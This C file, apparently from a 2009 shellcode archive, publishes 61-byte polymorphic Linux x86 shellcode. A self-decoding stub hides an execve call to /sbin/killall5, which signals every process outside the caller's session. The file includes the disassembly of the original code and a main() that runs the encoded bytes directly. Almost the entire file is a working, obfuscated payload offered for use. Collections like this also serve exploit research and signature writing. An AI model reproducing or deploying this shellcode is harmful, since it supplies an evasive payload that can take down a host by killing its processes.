/*
   Title:	Linux x86 | Polymorphic Shellcode killall5 - 61 bytes
   Author: 	Jonathan Salwan
   Mail:	submit [!] shell-storm.org
   
	! DataBase of shellcode ==> http://www.shell-storm.org/shellcode/


   killall5 is the SystemV killall command. It sends a signal to all processes 
   except the processes in its own session, so it won't kill the shell that is 
   running the script it was called from. Its primary (only) use is in the rc 
   scripts found in the /etc/init.d directory.


 Original Informations
 =====================

 Disassembly of section .text:

 08048054 <.text>:
 8048054:       31 c0                   xor    %eax,%eax
 8048056:       50                      push   %eax
 8048057:       66 68 6c 35             pushw  $0x356c
 804805b:       68 6c 6c 61 6c          push   $0x6c616c6c
 8048060:       68 6e 2f 6b 69          push   $0x696b2f6e
 8048065:       68 2f 73 62 69          push   $0x6962732f
 804806a:       89 e3                   mov    %esp,%ebx
 804806c:       50                      push   %eax
 804806d:       89 e2                   mov    %esp,%edx
 804806f:       53                      push   %ebx
 8048070:       89 e1                   mov    %esp,%ecx
 8048072:       b0 0b                   mov    $0xb,%al
 8048074:       cd 80                   int    $0x80

*/

#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[] =	

			"\xeb\x11\x5e\x31\xc9\xb1\x37\x80"
			"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
  			"\xf6\xeb\x05\xe8\xea\xff\xff\xff"		
			"\x32\xc1\x51\x67\x69\x6d\x36\x69"
			"\x6d\x6d\x62\x6d\x69\x6f\x30\x6c"
			"\x6a\x69\x30\x74\x63\x6a\x8a\xe4"
			"\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c"
			"\xce\x81\x41\xce\x81";

	printf("Length: %d\n",strlen(shellcode));
	(*(void(*)()) shellcode)();
	
	return 0;
}

// milw0rm.com [2009-08-11]